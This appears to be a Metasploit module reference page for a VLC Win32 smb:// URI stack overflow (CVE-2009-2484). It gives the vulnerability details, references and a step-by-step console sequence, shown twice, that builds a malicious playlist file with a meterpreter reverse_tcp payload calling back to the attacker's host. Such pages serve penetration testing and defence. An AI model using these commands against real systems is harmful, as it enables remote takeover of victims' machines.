VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work.
Exploit Rank
- Great
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
- BID-35500
- OSVDB-55509
- CVE-2009-2484
- http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d...
- http://milw0rm.com/exploits/9209
- EDB-9029
Exploit Targets
- 0 - vlc 0.9.9 on Windows XP SP3 (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/fileformat/vlc_smb_uri
msf exploit(vlc_smb_uri) > show payloads
msf exploit(vlc_smb_uri) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_smb_uri) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_smb_uri) > exploit
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msf > use exploit/windows/fileformat/vlc_smb_uri
msf exploit(vlc_smb_uri) > show payloads
msf exploit(vlc_smb_uri) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_smb_uri) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_smb_uri) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.xspf) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |